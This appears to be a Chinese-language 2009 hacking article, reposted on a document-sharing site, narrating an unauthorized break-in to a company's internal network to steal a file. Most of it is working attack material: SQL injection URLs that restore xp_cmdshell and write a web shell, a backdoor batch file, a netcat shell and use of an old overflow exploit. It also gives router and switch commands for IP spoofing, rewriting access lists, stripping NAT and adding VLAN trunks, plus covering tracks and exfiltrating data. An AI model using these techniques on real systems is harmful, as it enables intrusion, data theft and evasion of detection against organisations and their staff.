入侵内网一般过程
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
渗透国内某知名公司内部局域网经过
来源:未知时间:2009-08-0613:25编辑:菇在江湖
本文的目标是一国内知名公司的网络,本文图片、文字都经过处理,均为伪造,如有雷同,
纯属巧合。
最近一个网友要我帮他拿他们公司内网一项重要的文件,公司网络信息朋友都mail给我了,
这些信息主要是几张网络拓扑图以及在内网嗅探到的信息(包括朋友所在的子网的设备用户
名及密码等信息……)。
参照以上信息总体整理了一下入侵的思路,如果在朋友机器安装木马,从内部连接我得到一个CMD Shell,须要精心伪装一些信息还有可能给朋友带来麻烦,
所以选择在该网络的网站为突破口,而且管理员不会认为有“内鬼”的存在。
用代理上肉鸡,整体扫描了一下他的网站,只开了80端口,没扫描出来什么有用的信息,
就算有也被外层设备把信息过滤掉了,网站很大整体是静态的网页,搜索一下,查看源文
件->查找->.asp。
很快找到一个类似
http://www.*****.com/news/show1.asp?NewsId=125272页面,在后面加上and1=1 、and1=2前者正常,后者反回如下错误。
Microsoft OLE DB Provider for ODBC Driver error'80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character sting”.
/news/show/show1.asp,行59
是IIS+MSSQL+ASP的站,在来提交:
http://www.*****.com/news/show1.asp?NewsId=125272and 1=(select
is_srvrolemember('sysadmin'))
http://www.*****.com/news/show1.asp?NewsId=125272and 'sa'=(select system_user)
结果全部正常,正常是说明是当前连接的账号是以最高权限的SA运行的,看一下经典的
“sp_cmdshell”扩展存储是否存在,如果存在那就是初战告捷。
http://www.*****.com/news/show1.asp?NewsId=125272and 1=(select count(*)from master.dbo.sysobjects where xtype=‘x’and name = 'xp_cmdshell')
失败,看看是否可以利用xplog70.dll恢复,在提交:
http://www.*****.com/news/show1.asp?NewsId=125272;exec
master.dbo.sp_addextendedproc'xp_cmdshell',’xplog70.dll’
在试一下xp_cmdshell是否恢复了,又失败了,看样管理是把xp_cmdshell和xplog70.dll 删
除了,想利用xp_cmdshell“下载”我们的木马现在是不可能的。
首先我们先要得到一个WEB Shell,上传xplog70.dll,恢复xp_cmdshell在利用xp_cmdshell运行我们上传的木马,这都
是大众入侵思路了,前辈们以经无数人用这个方法入侵成功。
拿出NBSI扫一下,一会后台
用户名和密码是出来了,可是后台登录地址扫不出来,测试了N个工具、手工测试也没结果,有可能管理员把后台删除了。
我们想办法得到网站的目录,这时就须要用到xp_regread、
sp_makewebtask两个扩展存储,试一下是否存在:
http://www.*****.com/news/show1.asp?NewsId=125272and1=(select count(*)from master.dbo.sysobjects where name= 'xp_regread')
http://www.*****.com/news/show1.asp?NewsId=125272and1=(select count(*)from
master.dbo.sysobjects where xtype='X'and name ='sp_makewebtask')
全部返回正常说明存在(一般的网管不太了解他们,存在也很正常),首先简单介绍一下
xp_regread扩展存储过程及sp_makewebtask Web助手存储过程,xp_regread是用来读
取注册表信息的,我们可以通过这个来得到保存在注册表中的Web绝对路径。
sp_makewebtask这个就是我们用来得到WEB Shell的,主要功能就是导出数据库中表的
记录为文件。
这个方法网上很早就出现了,我们网站的目录在注册表里是在
HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\,我们在
数据库里建一个表,将他存储在表里,在使数据库错误回显在IE里。
http://www.*****.com/news/show1.asp?NewsId=125272;create table
[dbo].[biao]([zhi][char](255));
这时候我们就建了一个名为biao的表,并添加了一个类型为char长度是255的字段,名
为zhi,然后添加数据:
http://www.*****.com/news/show1.asp?NewsId=125272;declare@result varchar(255) exec
master.dbo.xpregread'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\ Parameters\Virtual Roots','/',@result output insert into biao(zhi)values(@result);--
然后暴出WEB绝对路径:http://www.*****.com/news/show1.asp?NewsId=125272and 1=(select count(*)from biao where zhi>1)
IE返回错误,得到网站的物理路径e:\inetput\web\,向网站目标写个小网页木马,一个朋友以前写过一个程序,由于只是内部用的,我就不抓图了,网上早就有发布过这种工具,有兴趣下载自己看看吧!原理都是一样的,如果想手工输入就是麻烦了点,但可以向网站脚本文件写入“一句话木马”在远程提交,以得到一个大马的目的。
登录木马后把自己机器的xplog70.dll上传到网站目录在传一个hacker's door,黑客之门只有一个dll,我们要建一个批处理,名子为run.bat:
@echo off
@rundll32kernel,DllRegisterServer svchost.exe
@del run.bat
在拿一下文件合并器,将我们建的批处理和dll文件合并成一个exe文件,黑客之门的使用方法我就不多说了,他有详细的使用手册,建议在处理一下,以免传到服务器上被查杀。
黑客之门主要用处是可以利用服务器上所开的任何端口和我通信,现在恢复他的xp_cmdshell 扩展存储:http://www.*****.com/news/show1.asp?NewsId=125272;exec
master.dbo.sp_addextendedproc'xp_cmdshell',’e:\inetput\web\xplog70.dll’;--
在IE里提交:exec master.dbo.xp_cmdshell’ e:\inetput\web\rootkit.exe’ rootkit.exe是黑
客之门改的名子,注意这个程序要解绑到系统目录如图1。
木马运行后,Nc–vv ip 80 输入密码就得到一个CMD Shell,在放一个隐藏的asp木马,简单的把入侵的痕迹清理一下。
以上的方法很早就有了,由于网上资料也很多、本文主要说渗透内网,篇幅有限我就不过多解释了。
渗透内网
这个网络很大共有七个网管,现在当前位置是F网、朋友在B网、目标在A网。
朋友给的
资料,目前接入internet的两台设备未知(假设未知的设备都是路由器),图2是该公司大
体的网络拓扑图。
掌握B网所有设备用户名密码(朋友之前嗅探到的)。
除A网其它网络
可以自由通信,A网内有公司重要信息所以不像其它网,它是不允许任何人访问的,路由
不给予转发数据,也就是只进不出的网络,虽然现在的网络是外紧内松,但是想进入目标
主机还是有些难度。
怎么跨过设备的限制到达目标呢!您还要向下看。
现在首要的目的就
是让router3给我们转发数据包。
首先尝试telnet登录路由,拒绝访问不能登录,我想也不能登录,应该是访问控制列表限
制了。
现在我们首要目标拿下router3的控制权,为什么目标定位在router3呢!
我们现在知道他的登录密码;
我当前位置可以和B网直接通信;
Router3是A、B网络公用的,应该两个网管都有权限登录;
这一点也是最重要的,只有router3给予数据转发才可以和目标主机通信;
个人认为router3是最佳路线,现在假设一下,如果B网管理员所管理的设备只有他本身
所用的IP或TFTP Server(兼DHCP Server)才可以登录设置,那么有如下思路可以完成
入侵。
一般来说管理员主机一定可以登录这台路由器的,网管主机都不可以登录设备那么
谁为维护网络呢!
1、直接得到B网管理员主机的一个CMD Shell来登录设备。
2、得到管理员同网段一台主机的CMD Shell,从而利用ARP欺骗来telnet目标路由。
3、得到B网其它网段中可访问外部网络一台主机的CDM Shell,伪装CDM Shell主机IP地
址,必要情况伪装IP+MAC地址来欺骗路由器,(机会高达到50%)。
经过分析拿B网的DHCP服务器(172.16.101.25)开始,选择突破点也是很重要的,DHCP服务器为了提供这个网段的服务他是暴露在相对外部的,而且不在VLAN的管辖中,
还和网管在同一交换机下,而且听朋友说他们公司PC几乎不打补丁,还有很多员工不知补丁为何物,这也给入侵带来及大的方便。
利用服务器的WEB木马上传一些流行的溢出程序,直接拿个溢出程序溢出他的DHCP服务器,(最后才知道2003年的溢出程序对这个主机都有用)成功得到一个System权限的CMD Shell。
革命尚未成功,同志们还须努力啊!“下载”我们肉鸡一个反弹的木马,我们的肉鸡是不能
主动连接DHCP服务的,好像有点费话。
现在这个主机就是我们在内网的一个接入点,放
弃我们刚才控制的那个WEB主机,利用反弹木马开的个CMD。
telnet一下路
由,%connection closed by remote host!还是连接失败,不能登录路由器,看样只有172.16.101.15这台主机(管理员IP)可以登录了,我们看一下登录他的交换机OK不
(一般工作组交换机权限设置不会那么BT)。
telnet 172.16.101.253//交换机管理地址
Password:
center>enable
Password:
成功登录,show mac-access、show cdp neighbors、show arp一些命令判断管理员对应
的结口,管理员的IP对应的是FastEthernet7/1,这个时候要用到IP地址的欺骗,在此感
谢EST长的最难看的哥哥。
#interface FastEthernet7/1
#shutdown
当然,这要等网管离开的时候才可以,这就要内外结合了。
这个时候172.16.101.15这台
主机在网络上以消失了,我们试一下路由是否允许网管的主机登录,把自己的IP改成172.16.101.15,输入:
netsh >interface ip
netsh interface ip>dump看一下接口配置信息
netsh interface ip>set address name = ″本地连接″ source=static addr=
172.16.101.15mask= 255.255.255.0
这时候当前主机地址改为172.16.101.15,现在这个主机会和我断掉,但只是一小会,我
们的反弹木马一会就能上线。
一般重新变改IP地址要发个ARP包告诉网络其它主机,大
概意思是我的IP是172.16.101.15,MAC地址是00-00-00-00-12-34,以后有发往
172.16.101.15地址的数据包都有我来响应。
交换机刷新地址表后这台主机伪装成功。
在telnet登录路由器,如图2
show running-config看一下配置信息,把路由配置信息COPY到记事本在分析,找到如下
配置信息。
access-list 99172.16.8.880.0.0.0//A网管理员地址
access-list 99172.16.101.150.0.0.0
访问列表99限制只有以上两个IP可以登录路由,看来是这个家伙在作怪。
删除99访问
列表,在添加99访问列表:
#access-list99172.16.68.880.0.0.0
#access-list99172.16.101.150.0.0.255 //改成172.16.101.0/24网段都可以登录
#line vty04
#access-class99in
退出路由系统,把自己IP改回来,把交换机设置也改回来以免网管回来被发现。
center(config)#interface FastEthernet7/1
center(config-if)#no shutdown
简单的清理一下留下的痕迹,退出他们的网络来分析一下网管是怎么配置的路由,在路由
配置信息中有几条重要信息。
ip nat pool NO.102710.255.200.1 10.255.200.105netmask255.255.255.0
ip nat inside source list 10 pool NO.1027overload
access-list 10permit172.16.7.00.0.0.255
access-list 10permit172.16.8.00.0.0.255
……
router eigrp10
真是不敢恭维网管的技术,一条访问列表可以搞定的事,非要分成N个访问列表来描述。
到这时才明白为什么朋友不能访问目标主机,因为A网边界路由器为其作NAT的地址转换,
将B类地址转换成A类地址,并且有访问列表限制。
现在要使当前主机和目标主机在“堡垒”中建立一条专用的“线路”。
我这对路由的配置不是很熟悉,也不敢太多的尝试,以免被网管发现,但是我们可以“重新”配置一下他的eigrp协议,使内部的地址完全暴露在外边,但此办法太容易让网管发现,但是当时没想出别的办法来。
#clear ip nat translation*
#no ip nat inside source list 10pool NO.1027overload
#no……//去掉他的访问列表及NAT配置信息
#router eigrp10
(config-router)#network172.16.2.00.0.0.255
(config-router)#network172.16.3.00.0.0.255
(config-router)#network…… //把所有的网段加进去
#reload10//10分钟后设备自动重启
现在路由器就可以为我们转发数据包了,并且在10分钟自动重启使更改的的配置失效,我们现在只差一步就大功告成了,现在须要在我控制的那台主机到目标主机创建一条干线使我们的数据包可以直接到达目标主机。
show cdp neighbors得到如下信息:
Device ID Local Intrfce Holdtme Capability Platform Port ID
Router3Fas0/12176R26214
在交换机中添加VLAN13,(目标主机的VLAN号),进入Fas0/12端口,“switchport trunk all vlan add 13 ”,在trunk中添加VLAN13,使这条线路可以通过VLAN13的数据,
没有必要改变自己的VLAN号,路由器现在没有访问列表来控制我们的数据流。
这个时候
我们ping172.16.8.120目标主机物理IP地址数据包可以到达了。
这次入侵也接近尾声了,和以前一样还是溢出后安装一个反弹木马,使他可以主动连接我的肉鸡,当然这要在10分钟内搞定,否则要重新进路由改变他重启的时间,备份他硬盘上的数据,备份肉鸡上的数据,最后就是清理一下入侵的痕迹。
这次入侵大约10天才完成,因为要等到特定的时间才可以改变他的网络设备配置,比如改变路由器的访问列表进一定要等到下班时间,大多用户不使用网络时、而目标主机还在使用网络时、网管还没有关闭设备时,也就是要和网管打个时间差。
本文经过N次的筛选终于从万字的文章精减出此文,可读性、实用性一定会有不同程度上的衰减,本次入侵没有什么新的技术,主要说怎样绕过内部网络设备的限制,只不过是一些经验的叠加,针对网络设备入侵这也算很初级的。